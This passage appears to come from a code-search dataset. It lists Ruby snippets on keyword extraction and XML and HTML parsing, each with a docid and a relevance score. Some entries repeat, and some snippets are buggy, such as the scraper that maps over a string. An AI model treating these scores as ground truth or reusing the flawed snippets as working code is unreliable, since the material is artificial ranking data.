-rank}\n end", "title": "" }, { "docid": "1b5304db230e27d5a5bdbe1873358169", "score": "0.51757246", "text": "def parse_xml_doc(xml_file_name)\n table_names = %w(\n Names__Row ProductMetadataFieldValues__Row Products__Row\n ProductCatalogCategories__Row ProductCatalogEntries__Row\n DigitalAssets__Row)\n tables = {}\n table_names.each { |e| tables[e.to_sym] = [] }\n File.open(xml_file_name) do |f|\n f.lazy.each do |line|\n type = table_names.find { |e| line.include? e }\n tables[type.to_sym] << line if type\n end\n end\n tables\n end", "title": "" }, { "docid": "31f4b8d9e579326413fbbab0d3cb346c", "score": "0.5172621", "text": "def tags\n records.each do |record|\n KEYWORDS_TAGGER.each do |name, keywords|\n record[name] = keywords.find {|keyword| record[:text].include?(keyword) }\n end\n end\n end", "title": "" }, { "docid": "ff502fbe1e9e583f098cc07f8ede79a1", "score": "0.5140325", "text": "def content_tags(name)\n array = []\n name_li(name).div(:class=>/(mylibrary_item_|searchcontent_result_)tags/).lis.each do |li|\n array << li.span(:class=>\"s3d-search-result-tag\").text\n end\n return array\n end", "title": "" }, { "docid": "f5f4bd1eb944449677cc31ce80810c29", "score": "0.5139898", "text": "def keywords_attributes\n keyword_ids.map(&:to_s)\n end", "title": "" }, { "docid": "46f4ed25eb6561f2207fc67dd547f346", "score": "0.51059127", "text": "def load_ingest_content( filename )\n xml_doc = TaskHelpers.load_xml_doc( filename )\n return xml_doc\n end", "title": "" }, { "docid": "61f02afeeff011bf7079d5ece046e4d3", "score": "0.5093592", "text": "def xml_keys target\n lazy_load_strings\n @strings_xml.select { |key, value| key.downcase.include? target.downcase }\n end", "title": "" }, { "docid": "996268e8c9e60f782306dfc5fd10654d", "score": "0.50713784", "text": "def xpathall(path,xml)\n r=[]\n XPath.each(xml,path){|x|r<<x}\n r\nend\n", "title": "" }, { "docid": "b034bebc84b37fc6b7d70a05319cce37", "score": "0.5071311", "text": "def keywords\n @entries.keys.sort # sorts keys to alphabetical \n end", "title": "" }, { "docid": "a1a37f3586345c5a67e5626030dc5aa2", "score": "0.5061652", "text": "def words_from_file( f )\n result = Array.new\n File.foreach( f ) do | line |\n result << self.words_from_string( line )\n end\n result.flatten\n end", "title": "" }, { "docid": "be3f9dfed8debf1f6d6f039afa38a23c", "score": "0.50594443", "text": "def find_keywords(feedEntryUrl, tags)\n\tputs \"extracting keywords\"\n\tdoc = Nokogiri::HTML(open(feedEntryUrl))\n\t# LOAD THE DICTIONARY OF KEYWORDS\n\t@keywords = Keyword.all # change to select only new ones in the controller\n\tdoc.xpath('//@style').remove\n\tdoc.css(\"p\").each do |para| # PRETTY SURE THIS IS CRAZY INEFFECIENT!\n\t#paraString = para.to_s\t\n\tparaString = para.text\n\n\t@keywords.each do |keyword| \n\n\t\t# use regex to find the keywrods and end of sentences - probably could be more effecient!\t\n\t\t# CHANGE TO DYNAMIC KEYWORD! \n\t\t# AND FIX PLURALS! - put them all in with an 'or'?\n\n\t\tpositions = paraString.enum_for(:scan, /\\b#{Regexp.escape(keyword.word)}\\b/).map { Regexp.last_match.begin(0) }\n\t\tdots = paraString.enum_for(:scan, /[\\.\\?\\!]/).map { Regexp.last_match.begin(0) }\n\n\t\t# find the end of a sentence immediatly before a keyword\n\n\t\tif dots.length >=1 # maybe check that it's not a title by having a few fullstops in a P\n\n\t\t\tpositions.each do |position|\n\n\t\t\t\tdotBefore = dots.find_all {|i| i< position}.max\n\t\t\tdotBefore=-2 if dotBefore.nil? # start of string if no punctuation before\n\t\t\t# if it's the last sentence we might actually want to go back one\n\n\t\t\tresult = paraString[dotBefore+2, position+CharacterFollow]+\"...\"\n\n\t\t\tputs paraString\n\t\t\tPost.create!(:title => \"bam\",:content => paraString,:contentSummary => result,:score => 1, :image => \"radio.jpg\",:link => feedEntryUrl, :tags => tags, :datefound => DateTime.now, :keyword => keyword.word) \n\n\tend # each keyword\n\n\tend #each\n\n\tend #if a few sentences\n\n\nend\n\nLink.update_all(:updated_at => Time.now)\n\nend", "title": "" }, { "docid": "5ea7337843ac460981428a460d7f4a99", "score": "0.5042126", "text": "def read_source\n source = []\n File.open($source_file, \"r\") do |file|\n doc = REXML::Document.new(file)\n doc.root.elements.each do |element|\n source << [element.name.strip, element.text.strip]\n end\n end\n return source\nend", "title": "" }, { "docid": "ef51ba0ae90fccf5162b32e30fc34346", "score": "0.5041689", "text": "def search keyword\n result = Set.new\n matched = Array.new\n @frame_tree_root_node.each{|node|\n if node.content =~ /#{keyword}/i\n matched << node.name\n end\n } \n @frame_tree_root_node.each{|node|\n if node.is_root?\n result << node.name\n elsif matched.include? node.name\n result << node.name #add id\n node.parentage.each{|item|\n result << item.name\n }\n end\n }\n @frame_tree_root_node.print_tree\n result\n end", "title": "" }, { "docid": "dd8bead3272aabfe9d7e455ff9f5aa42", "score": "0.5019837", "text": "def keys\n deprecate # 07/31/2012\n doc = xml get('/user/keys').to_s\n doc.elements.to_a('//keys/key').map do |key|\n key.elements['contents'].text\n end\n end", "title": "" }, { "docid": "86e48d130e8523d32f0ee9afecfc8db8", "score": "0.5010603", "text": "def parse_kramdown(file)\n ::Kramdown::Document.new File.readlines(file).join, :input => 'QuickStartParser' \n end", "title": "" }, { "docid": "6bbbd1b5256cb6609c35766c1bb45963", "score": "0.5010551", "text": "def get_keywords\n tweets = self.get_tweets\n counts = Hash.new(0)\n tweets.each do |tweet|\n tweet.text.downcase.split(/\\s+/).each do |word|\n word.gsub!(/\\p{^Alnum}/,'')\n next if word.size < 1\n counts[word] += 1\n end\n end\n temp_nest_array = (counts.select{ |k, v| v.to_i > 1}).sort_by{ |k, v| -v } # sort by count (descending) on counts of more than one word\n count_hash = Hash.new(0)\n temp_nest_array.each do |k, v|\n count_hash[k] = v\n end\n count_hash\n end", "title": "" }, { "docid": "4d0ad810bcc80359e3e5eb0bd1a6c129", "score": "0.4999995", "text": "def show_keywords_600\n @kw600_keys.each{|key|\t# Iterate thru tags in the same order we read them\n # For this instance (parent ID) of this tag...\n values = @kw600[key]\n pid, tag = key\n\n # Process all tags\n s = values.join(', ').gsub(/, \\(/, \" (\")\n unless @kw_list.include?(s) || s == \"\"\n @kw_list << s\n dbug_s = DEBUG_KEYWORDS ? \"#{tag}:\" : \"\"\n puts \" <meta tagcode=\\\"keywords.fixed1\\\">#{dbug_s}#{s}</meta>\"\n end\n }\n end", "title": "" }, { "docid": "5c783dfd3d113e682e2bdadb3646e21e", "score": "0.49937522", "text": "def create\n #Load file\n \n if params[:xml_file].content_type =~ /xml/\n begin\n plain_string = XmlSimple.xml_in(params[:xml_file].read,{'ForceArray' => false, 'NoAttr' => true,'SuppressEmpty' => true })\n flash[:notice]=\"File parsed successfully.\"\n rescue\n flash[:notice]=\"Error in parsing file.\"\n end\n if plain_string[\"keyword\"].kind_of?(Array) && !plain_string[\"keyword\"].empty?\n plain_string[\"keyword\"].each do|kwd|\n next if kwd.blank?\n # Language will be updated later after identifying keyword language\n Keyword.create({:keyword=>kwd,:language=>\"english\"})\n end\n end\n\n AsyncRequest.execute\n\n end\n respond_to do |format|\n format.html{render :action=>:new}\n end\n end", "title": "" }, { "docid": "4b54a9125557f03879c9cfc868dbe5ec", "score": "0.4993254", "text": "def keywords_for_index(_item)\n []\n end", "title": "" }, { "docid": "71afbde72673b0d6a8bf22bf956dd325", "score": "0.49800342", "text": "def xml_values target\n lazy_load_strings\n @strings_xml.select { |key, value| value.downcase.include? target.downcase }\n end", "title": "" }, { "docid": "a8c9341898331bf2d6f843ce50bdc116", "score": "0.49696982", "text": "def keywords\n @emphasis[:stemming] = use_stemming?\n\n keywords = Keywords.new\n\n Keywords.find_keywords(processed_content, wordlist, word_pattern).each do |text|\n text = text.to_s\n text = text.stem if @emphasis[:stemming]\n\n if not (text.match(/^[\\d]+(\\.[\\d]+){0,1}$/) or text.length <= 2)\n keywords << Highscore::Keyword.new(text, weight(text))\n elsif allow_short_words\n keywords << Highscore::Keyword.new(text, weight(text))\n end\n end\n\n keywords\n end", "title": "" }, { "docid": "c9136817b1f18a1f597a30be5669448a", "score": "0.4953365", "text": "def parse_xml(xml)\n hash = XmlSimple.xml_in(xml)\n hash['query']#return just the results of the query\nend", "title": "" }, { "docid": "958a06f83622cf9606a99ce90ff6ee9c", "score": "0.49530604", "text": "def process_input_file\n\t\t\tinput_file = File.open(@params[:input_file], 'r')\n\t\t\tfile_terms = convert_contents_to_search_string(input_file.read)\n\t\t\tadd_terms(file_terms)\n\t\tend", "title": "" }, { "docid": "edd13f8417a2aefda759044b0004e6ea", "score": "0.4941116", "text": "def parse_tag_descriptions\n \tdoc = Hpricot(open('http://www.scs.leeds.ac.uk/ccalas/tagsets/brown.html'))\n tag_descriptions = []\n tag_keywords = {}\n \t(doc/\"html\"/\"table\"/\"tr\").each do |tr|\n \t idx=1\n \t tag = description = examples = nil\n \t (tr/\"td\").each do |d|\n \t text = d.inner_text.strip.tr(\"\\n\", ' ').gsub(/\\s+/, ' ')\n \t case idx\n when 1; tag = text.downcase\n when 2; description = text\n when 3; examples = text\n end\n \t idx += 1\n end\n tag_descriptions << [ tag, description, examples ] unless tag.nil? or tag == \"Tag\"\n # Use the descriptions to pull out some search keywords for the tag\n if not tag.nil? and description.nil?\n puts \"Description for \" + tag + \" is nil!!!\"\n end\n tag_keywords[tag] = description.tr(\",\",'').tr(\"+\",'').split(/ /) unless tag.nil? or tag == \"Tag\"\n \tend\n \t\n \tclauses = []\n tag_descriptions.map do |td|\n clauses << \"brown_tag_description(\" + (td.map { |e| e.to_prolog }).join(\",\") + \").\"\n end\n\n tag_descriptions.map do |td|\n clauses << \"brown_tag_description(\" + (td.map { |e| e.to_prolog }).join(\",\") + \").\"\n end\n tag_keywords.each_key do |key|\n tag_keywords[key].each do |keyword|\n clauses << \"brown_tag_keyword(\" + key.to_prolog + \",\" + keyword.to_prolog + \").\"\n end\n end\n clauses\n end", "title": "" }, { "docid": "6cc89faa39fbacb5f6562945e91435c6", "score": "0.49374303", "text": "def parse_text\r\n @text_nodes.map(&:content).join('')\r\n end", "title": "" }, { "docid": "6cc89faa39fbacb5f6562945e91435c6", "score": "0.49374303", "text": "def parse_text\r\n @text_nodes.map(&:content).join('')\r\n end", "title": "" }, { "docid": "a40694d208ad71dadf75dd8ef855d72d", "score": "0.49346027", "text": "def scanner\n @sentences ||= File.open(@path) do |file|\n file.each_line.each_with_object([]) do |line, acc|\n stripped_line = line.strip\n\n unless stripped_line.nil? || stripped_line.empty?\n acc << line.split(' ').map do |word|\n word.split('/').first\n end.join(' ')\n end\n end\n end\n\n end", "title": "" }, { "docid": "19083b3143f5d5ab0631b1957e2c2946", "score": "0.4933197", "text": "def scraper2(keyword)\n url = \"https://www.lazada.vn/catalog/?q=#{keyword}&_keyori=ss&from=input&spm=a2o4n.home.search.go.1905e1822eN5XO\"\n html_file = open(url).read\n html_doc = Nokogiri::HTML(html_file)\n keywords = []\n\n html_doc.search('.c3KeDq').search('.c16H9d a').each do |element|\n element.text.strip\n element.attribute('title').value.map { |word| word.include?(keywords) ? keywords.to_f/2 : word }\n end\n\n #more deep class selection\n html_doc.search('.c5TXIP').search('.c3KeDq').search('.c16H9d a').each do |element|\n element.text.strip\n element.attribute('title').value.map { |word| word.include?(keywords) ? keywords.to_f/2 : word }\n end\n\n\n\n end", "title": "" }, { "docid": "3c3fbbd2c499c995962ccbfbca50af29", "score": "0.49331135", "text": "def extractFacetCategories( text )\n # initialize XML document for parsing\n doc = REXML::Document.new( text )\n\n # extract all facet categories and facet data from the XML attributes\n facets = Hash.new\n doc.elements.each( '/document/attributes/attribute' ) do |element|\n element_data = element.text\n type_attr = element.attribute( \"type\" ).to_s\n if( type_attr =~ /title/ )\n facets['title'] = element_data\n elsif( type_attr =~ /year/ )\n facets['year'] = element_data\n end\n end\n\n doc.elements.each( '/document/facets/facet' ) do |element|\n element_data = element.text\n type_attr = element.attribute( \"type\" ).to_s\n if( type_attr =~ /technology/ )\n facets['technology'] = element_data\n elsif( type_attr =~ /company/ )\n facets['company'] = element_data\n elsif( type_attr =~ /person/ )\n facets['person'] = element_data\n elsif( type_attr =~ /organization/ )\n facets['organization'] = element_data\n elsif( type_attr =~ /city/ )\n facets['city'] = element_data\n elsif( type_attr =~ /provinceorstate/ )\n facets['state'] = element_data\n end\n end\n \n facets.merge! extract_location_info( doc )[:facets]\n\n return facets\n end", "title": "" }, { "docid": "a5a330c44d8e610f658c0f21d3c50b8f", "score": "0.49315232", "text": "def tags\n node.css(\"category\").map(&:text)\n end", "title": "" }, { "docid": "513872999504e80b34fe64daffa907b0", "score": "0.4929493", "text": "def get_items(filename)\n reading_item = false\n item = 0\n feed_items = []\n\n # pull out the items\n File.open(filename, 'r') do |feed|\n while line = feed.gets\n unless (line =~ /<item /).nil?\n reading_item = true\n feed_items[item] = line\n next\n end\n if reading_item\n feed_items[item] += line\n unless (line =~ /<\\/item>/).nil?\n reading_item = false\n item += 1\n end\n end\n end\n end\n feed_items\nend", "title": "" }, { "docid": "d33667eb224b23a7b8b5bb213063fc6a", "score": "0.4925839", "text": "def keyword\n values = super\n values = MetadataHelper.ordered( ordered_values: self.keyword_ordered, values: values )\n return values\n end", "title": "" }, { "docid": "d33667eb224b23a7b8b5bb213063fc6a", "score": "0.4925839", "text": "def keyword\n values = super\n values = MetadataHelper.ordered( ordered_values: self.keyword_ordered, values: values )\n return values\n end", "title": "" }, { "docid": "b11368e0b718700f5756afce7eaebc39", "score": "0.4919345", "text": "def get_keywords\r\n\t@keywords = Keyword.all\r\n\t@keywords.sort! { |a, b| a.name <=> b.name }\r\n end", "title": "" }, { "docid": "4b0cb81d62c115fa87194f098e00a0a3", "score": "0.49186033", "text": "def render_keywords(tags)\n keywords = TextNormalizer.normalize_keywords(meta_tags.extract(:keywords))\n normalized_meta_tags[:keywords] = keywords\n tags << Tag.new(:meta, :name => :keywords, :content => keywords) if keywords.present?\n end", "title": "" }, { "docid": "c3875cbf8e6ee6b55463eff184c60d7a", "score": "0.49082705", "text": "def get_word_value_array(word)\n html = RestClient.get(\"http://www.thesaurus.com/browse/#{word}\")\n word_string = Nokogiri::HTML(html).css(\"div.relevancy-list ul li a\").to_a\n part_of_speech = Nokogiri::HTML(html).css(\"div.mask ul li a em\")[0].text\n word_definition = Nokogiri::HTML(html).css(\"div.mask ul li a strong\")[0].text\n [word_string, \"(#{part_of_speech}) #{word_definition}\"]\n end", "title": "" }, { "docid": "44b0bb89e89de81f2438dc7525a565bf", "score": "0.49040878", "text": "def get_stop_tag(agency, route, keywords)\n routes = @a.get(\"http://webservices.nextbus.com/service/publicXMLFeed?command=routeConfig&a=#{agency}&r=#{route}\")\n q = routes.xml.to_s.scan(/<stop tag=(.+) title=\"(.+)\" lat.+\\/>/)\n g = q.select {|r| !(r[1] =~ /#{keywords}/).nil?}\n g.map! { |r| [r[0].gsub('\"', '').to_i, r[1].to_s] }\n g.each { |r| puts \"tag: #{r[0].to_s}, title: #{r[1]}\" }\nend", "title": "" }, { "docid": "63c6f3ebec10c2c32efaa7acc2a11747", "score": "0.49033847", "text": "def list_keywords\n @entry = Entry.find(params[:id])\n @keywords = @entry.keywords\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @keywords }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end", "title": "" }, { "docid": "83b329c09b1b89fdfc18ddc64a9d6e1e", "score": "0.489774", "text": "def parse_fonts_conf(filename)\n doc = REXML::Document.new(File.open(filename, \"rb\")).root rescue nil\n\n if doc\n path = REXML::XPath.match(doc, '//dir').map do |el|\n el.text.gsub($/, '')\n end\n doc = nil\n else\n path = []\n end\n path\n end", "title": "" }, { "docid": "f3d6b7ac8fc306ede95a651a2d79d607", "score": "0.48977274", "text": "def return_names_array(doc)\n names = doc.css(\".search-content .teaser-item__title a span\")\n recipe_names = []\n names.each do |element|\n recipe_names << element.text\n end\n return recipe_names\n end", "title": "" }, { "docid": "890401dd7a8f1260952fe3fcc5845826", "score": "0.4896814", "text": "def keywords\n\t\t\t\treturn [\n\t\t\t\t\tsuper,\n\t\t\t\t\t@data['keywords_self'],\n\t\t\t\t\tPLAYER.current_room.keywords_neighbors(get_classname)\n\t\t\t\t].flatten.reject { |x| !x }\n\t\t\tend", "title": "" }, { "docid": "62db8ad804cb97552bcdc7fafcd1a227", "score": "0.489053", "text": "def keys\n\t\tdoc = xml get('/user/keys')\n\t\tdoc.elements.to_a('//keys/key').map do |key|\n\t\t\tkey.elements['contents'].text\n\t\tend\n\tend", "title": "" }, { "docid": "62db8ad804cb97552bcdc7fafcd1a227", "score": "0.489053", "text": "def keys\n\t\tdoc = xml get('/user/keys')\n\t\tdoc.elements.to_a('//keys/key').map do |key|\n\t\t\tkey.elements['contents'].text\n\t\tend\n\tend", "title": "" }, { "docid": "cb6e75b71e7d55ba9a5e35b3b93ae52c", "score": "0.48876053", "text": "def getWordListFromXML(xml_path, option=\"\")\n xml = open(File::expand_path(xml_path)).read\n word_list = []\n \n xml.each_line{|line|\n morpheme = \"\" \n partOfSpeech = \"\" \n \n #find part of speech\n if line =~ /SUWPOS=\"(.*?)\"/\n #warning: if PartOfSpeech is overrided.\n if partOfSpeech != \"\"\n puts \"PartOfSpeech is overrided!!!\"\n end\n partOfSpeech = $1\n end\n \n #find morpheme\n if line =~ /PlainOrthographicTranscription=\"(.*?)\"/\n #warning: if morpheme is overrided.\n if morpheme != \"\"\n puts \"morpheme is overrided!!!\"\n end\n morpheme = $1\n end\n \n #if \"morpheme\" and \"partOfSpeech\" is detected, then push them into stack \"word_list\".\n if (morpheme != \"\") and (partOfSpeech != \"\")\n word_list.push([morpheme, partOfSpeech])\n end\n\n }\n\n case option\n when \"uniq\"\n word_list.uniq!\n end\n\n return word_list\nend", "title": "" }, { "docid": "1f7462178b2296fc20d18db4a4fc8340", "score": "0.48848176", "text": "def index\n @keywords = Keyword.order('title')\n \n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @keywords.to_xml }\n end\n end", "title": "" }, { "docid": "59661f6e36a3f3c7cc8def177fef769c", "score": "0.48838788", "text": "def find_nodes_and_map(xml)\n self.maps.each do |map|\n doc = LibXML::XML::Parser.string(xml).parse\n nodes = doc.find(map[:base_path])\n return nodes, map if !nodes.empty?\n end\n return [], nil\n puts \"No map found in #{self.class} for xml #{xml[0..100]}...\" if $DEBUG\n end", "title": "" }, { "docid": "6d2a062eb01e1071ff3da5fc9efa2298", "score": "0.4882672", "text": "def setup\n xml_results = <<BEGIN\n <search:response total=\"2\" start=\"1\" page-length=\"10\" xmlns:search=\"http://marklogic.com/appservices/search\">\n <search:result index=\"1\" uri=\"/documents/discoverBook.xml\" path=\"fn:doc('/documents/discoverBook.xml')\" score=\"243\" confidence=\"0.97047\" fitness=\"1\">\n <search:snippet>\n <search:match path=\"fn:doc('/documents/discoverBook.xml')/*:book/*:bookinfo/*:title\">Discoverers <search:highlight>and</search:highlight> Explorers</search:match>\n <search:match path=\"fn:doc('/documents/discoverBook.xml')/*:book/*:chapter[1]/*:chapterinfo/*:biblioentry/*:title\">Discoverers <search:highlight>and</search:highlight> Explorers</search:match>\n </search:snippet>\n </search:result>\n <search:result index=\"2\" uri=\"/documents/a_and_c.xml\" path=\"fn:doc('/documents/a_and_c.xml')\" score=\"234\" confidence=\"0.952329\" fitness=\"1\">\n <search:snippet>\n <search:match path=\"fn:doc('/documents/a_and_c.xml')/PLAY/PERSONAE/PERSONA[10]\">Officers, Soldiers, Messengers, <search:highlight>and</search:highlight> other Attendants.</search:match>\n </search:snippet>\n </search:result>\n <search:qtext>and</search:qtext>\n <search:metrics>\n <search:query-resolution-time>PT0.009197S</search:query-resolution-time>\n <search:facet-resolution-time>PT0.000083S</search:facet-resolution-time>\n <search:snippet-resolution-time>PT0.019534S</search:snippet-resolution-time>\n <search:total-time>PT0.029033S</search:total-time>\n </search:metrics>\n</search:response>\nBEGIN\n\n xml_results_noh = <<BEGIN\n <search:response total=\"2\" start=\"1\" page-length=\"10\" xmlns:search=\"http://marklogic.com/appservices/search\">\n <search:result index=\"1\" uri=\"/documents/discoverBook.xml\" path=\"fn:doc('/documents/discoverBook.xml')\" score=\"243\" confidence=\"0.97047\" fitness=\"1\">\n <search:snippet>\n <search:match path=\"fn:doc('/documents/discoverBook.xml')/*:book/*:bookinfo/*:title\">Discoverers and Explorers</search:match>\n <search:match path=\"fn:doc('/documents/discoverBook.xml')/*:book/*:chapter[1]/*:chapterinfo/*:biblioentry/*:title\">Discoverers and Explorers</search:match>\n </search:snippet>\n </search:result>\n <search:result index=\"2\" uri=\"/documents/a_and_c.xml\" path=\"fn:doc('/documents/a_and_c.xml')\" score=\"234\" confidence=\"0.952329\" fitness=\"1\">\n <search:snippet>\n <search:match path=\"fn:doc('/documents/a_and_c.xml')/PLAY/PERSONAE/PERSONA[10]\">Officers, Soldiers, Messengers, and other Attendants.</search:match>\n </search:snippet>\n </search:result>\n <search:qtext>and</search:qtext>\n <search:metrics>\n <search:query-resolution-time>PT0.009197S</search:query-resolution-time>\n <search:facet-resolution-time>PT0.000083S</search:facet-resolution-time>\n <search:snippet-resolution-time>PT0.019534S</search:snippet-resolution-time>\n <search:total-time>PT0.029033S</search:total-time>\n </search:metrics>\n</search:response>\nBEGIN\n\n results_with_facets = <<-BEGIN\n<search:response total=\"21973\" start=\"1\" page-length=\"10\" xmlns:search=\"http://marklogic.com/appservices/search\">\n <search:result index=\"9\" uri=\"/Users/clarkrichey/Downloads/wits/wits21402.xml\" path=\"fn:doc(&quot;/Users/clarkrichey/Downloads/wits/wits21402.xml&quot;)\" score=\"196\" confidence=\"0.338805\" fitness=\"0.890659\">\n <search:snippet>\n <search:match path=\"fn:doc(&quot;/Users/clarkrichey/Downloads/wits/wits21402.xml&quot;)/*:Incident/*:Subject\">1 newspaper editor injured in letter <search:highlight>bomb</search:highlight> attack by Informal Anarchist Federation in Turin, Piemonte, Italy</search:match>\n <search:match path=\"fn:doc(&quot;/Users/clarkrichey/Downloads/wits/wits21402.xml&quot;)/*:Incident/*:EventTypeList\">\n<search:highlight>Bombing</search:highlight>\n</search:match>\n <search:match path=\"fn:doc(&quot;/Users/clarkrichey/Downloads/wits/wits21402.xml&quot;)/*:Incident/*:WeaponTypeList/*:WeaponType\">Letter <search:highlight>Bomb</search:highlight></search:match>\n </search:snippet>\n </search:result>\n <search:result index=\"10\" uri=\"/Users/clarkrichey/Downloads/wits/wits23118.xml\" path=\"fn:doc(&quot;/Users/clarkrichey/Downloads/wits/wits23118.xml&quot;)\" score=\"196\" confidence=\"0.338805\" fitness=\"0.890659\">\n <search:snippet>\n <search:match path=\"fn:doc(&quot;/Users/clarkrichey/Downloads/wits/wits23118.xml&quot;)/*:Incident/*:Subject\">1 government employee killed in <search:highlight>bombing</search:highlight> in Ghazni, Afghanistan</search:match>\n <search:match path=\"fn:doc(&quot;/Users/clarkrichey/Downloads/wits/wits23118.xml&quot;)/*:Incident/*:EventTypeList\">\n<search:highlight>Bombing</search:highlight>\n</search:match>\n </search:snippet>\n </search:result>\n <search:facet name=\"Region\">\n <search:facet-value name=\"Africa\" count=\"622\">Africa</search:facet-value>\n <search:facet-value name=\"Central and South America\" count=\"1012\">Central and South America</search:facet-value>\n <search:facet-value name=\"East Asia-Pacific\" count=\"1198\">East Asia-Pacific</search:facet-value>\n <search:facet-value name=\"Eurasia\" count=\"761\">Eurasia</search:facet-value>\n <search:facet-value name=\"Europe\" count=\"1057\">Europe</search:facet-value>\n <search:facet-value name=\"Middle East and Persian Gulf\" count=\"10374\">Middle East and Persian Gulf</search:facet-value>\n <search:facet-value name=\"North America and Caribbean\" count=\"16\">North America and Caribbean</search:facet-value>\n <search:facet-value name=\"South Asia\" count=\"6933\">South Asia</search:facet-value>\n </search:facet>\n <search:facet name=\"Country\">\n <search:facet-value name=\"England\" count=\"200\">England</search:facet-value>\n <search:facet-value name=\"Ireland\" count=\"422\">Ireland</search:facet-value>\n <search:facet-value name=\"Brazil\" count=\"10\">Brazil</search:facet-value>\n </search:facet>\n <search:qtext>bomb</search:qtext>\n <search:metrics>\n <search:query-resolution-time>PT0.420016S</search:query-resolution-time>\n <search:facet-resolution-time>PT0.002873S</search:facet-resolution-time>\n <search:snippet-resolution-time>PT0.039998S</search:snippet-resolution-time>\n <search:total-time>PT0.463759S</search:total-time>\n </search:metrics>\n</search:response>\n BEGIN\n @search_results = ActiveDocument::SearchResults.new(xml_results)\n @search_results_noh = ActiveDocument::SearchResults.new(xml_results_noh)\n @faceted_results = ActiveDocument::SearchResults.new(results_with_facets)\n end", "title": "" }, { "docid": "cc17fc7fd3569432a6c51cfaf2ccf49c", "score": "0.48761174", "text": "def analyze_keyword_occurences(keywords)\n full_word_occurences = {}\n @bugs.each do |bug|\n all_text = \"#{bug.description.downcase} #{bug.summary.downcase}\"\n\n all_text.gsub(/[^a-z]/i,' ').split.each do |word|\n word = word.strip\n if full_word_occurences.has_key? word\n full_word_occurences[word] = full_word_occurences[word] + 1\n else\n full_word_occurences[word] = 1\n end\n end\n end\n\n computed_occurences = {}\n keywords.each do |keyword|\n if !full_word_occurences[keyword].nil?\n computed_occurences[keyword] = full_word_occurences[keyword]\n end\n end\n puts computed_occurences\n end", "title": "" }, { "docid": "91cb5aa92eb6f73448943a3faabaef9b", "score": "0.48681304", "text": "def [](key)\n if NOKOGIRI\n element=@xml.xpath(key.to_s.upcase)\n else\n element=@xml.elements[key.to_s.upcase]\n end\n \n if element \n element.text\n end\n end", "title": "" }, { "docid": "0632a1e973319a1da365c463f40a54df", "score": "0.4867829", "text": "def queryxml(xmlfile, function)\n f = File.new(xmlfile, \"r\")\n doc = Nokogiri::XML(f)\n\n binaries = []\n doc.xpath(\"//test/calls/function[text()='#{function}']\").each { |e|\n test = e.parent.parent\n binary = test.xpath('binary').first\n binaries << [File.dirname(xmlfile), binary.text]\n }\n\n f.close\n\n return binaries\nend", "title": "" }, { "docid": "61ee4b70365da9022751d88da9905d57", "score": "0.48629093", "text": "def get_svn_keyword_map( *files )\n\tfiles.flatten!\n\tfiles.push( '.' ) if files.empty?\n\n\tcmd = ['svn', 'pg', 'svn:keywords', *files]\n\n\t# trace \"Executing: svn pg svn:keywords \" + files.join(' ')\n\toutput = IO.read( '|-' ) or exec( 'svn', 'pg', 'svn:keywords', *files )\n\t\n\tkwmap = {}\n\toutput.split( \"\\n\" ).each do |line|\n\t\tnext if line !~ /\\s+-\\s+/\n\t\tpath, keywords = line.split( /\\s+-\\s+/, 2 )\n\t\tkwmap[ path ] = keywords.split\n\tend\n\t\n\treturn kwmap\nend", "title": "" }, { "docid": "90a52e235925ef7bd7a37b15f4ae09ee", "score": "0.48552668", "text": "def html_parser(file)\n\n\tpage = Nokogiri::HTML(open(file))\n\n\ttags = page.css(\".started\")\n\ttags.each do |tag| \n\t\t$tweets << {:timestamp => tag.text.strip, :tag => file} \n\tend\n\tp \"Successfully parsed #{file}\"\n\treturn tags\n\nend", "title": "" }, { "docid": "bf1716928f15270da5399defe253b570", "score": "0.4852438", "text": "def search1(doc)\n doc.search('.subtext > span:first-child').map { |span| span.inner_text}\n end", "title": "" }, { "docid": "b68202e012cc6099de556771d07fb499", "score": "0.48514315", "text": "def xml_data(xml)\n return unless xml = Objectify::Xml.first_element(xml)\n # There is something wrong with Nokogiri xpath/css search with\n # namespaces. If you are searching a document that has namespaces,\n # it's impossible to match any elements in the root xmlns namespace.\n # Matching just on attributes works though.\n feed, entry = xml.search('//*[@term][@scheme]', xml.namespaces)\n feed_self, entry_self = xml.search('//*[@rel=\"self\"][@type=\"application/atom+xml\"]', xml.namespaces)\n feed_scheme = feed['term'] if feed\n entry_scheme = entry['term'] if entry\n feed_href = feed_self['href'] if feed_self\n entry_href = entry_self['href'] if entry_self\n [xml, feed_scheme, entry_scheme, feed_href, entry_href]\n end", "title": "" }, { "docid": "8aeecc4293a4bc96e35c73da971f634e", "score": "0.48487097", "text": "def keywords\n ks = Keyword.where(meta_key_id: id)\n if keywords_alphabetical_order\n ks.order('keywords.term ASC')\n else\n ks.order('keywords.position ASC')\n end\n end", "title": "" } ]
0faaa21ddd56166d04517928f8ff6983
Average call duration in seconds
[ { "docid": "dacb92f6eb4721c4a4576eaa574dce36", "score": "0.82912415", "text": "def average_call_duration\n average_duration(finished_contacts, 'answered', 'call_ended')\n end", "title": "" } ]
[ { "docid": "943890f87ae18829dc4460665fcb12ef", "score": "0.75581735", "text": "def average_missed_call_duration\n average_duration(missed_contacts, 'arrived', 'call_ended')\n end", "title": "" }, { "docid": "04d6abb63591c654f5fce63c7cd54b3f", "score": "0.7555985", "text": "def average_usage\n\t\treturn 0.0 if @run_count.zero?\n\t\t(@total_utime + @total_stime) / @run_count.to_f\n\tend", "title": "" }, { "docid": "48a4e9fd380b6c879a0c862cb50dba13", "score": "0.7548626", "text": "def average_response_time\n (active_time / requests.to_f) * 1000\n end", "title": "" }, { "docid": "2582c77001ccf2a6fea45fc2958c0ec4", "score": "0.7526071", "text": "def average_after_call_duration\n average_duration(closed_contacts, 'call_ended', 'after_call_ended')\n end", "title": "" }, { "docid": "f59d3c73d39e6c764717d6ff4363420d", "score": "0.7074919", "text": "def requests_avg_per(seconds = 60)\n requests_per = requests_per(seconds)\n requests_per / seconds.to_f\n end", "title": "" }, { "docid": "57abe669398b7a1841d153366da5328f", "score": "0.70698035", "text": "def avg_time_spent\n\t\ttotal_time = self.visitors.inject(0){|sum,v| sum + v.total_time }.to_f\n\t\tavg_time = total_time/self.total_visits\n\tend", "title": "" }, { "docid": "be50871995705ea5d84c9d83d36b61d0", "score": "0.7056018", "text": "def avg_duration\n @avg_duration if @total > 0\n end", "title": "" }, { "docid": "102f80acfd6e5c2ddda4fa2249eb39f7", "score": "0.69821775", "text": "def 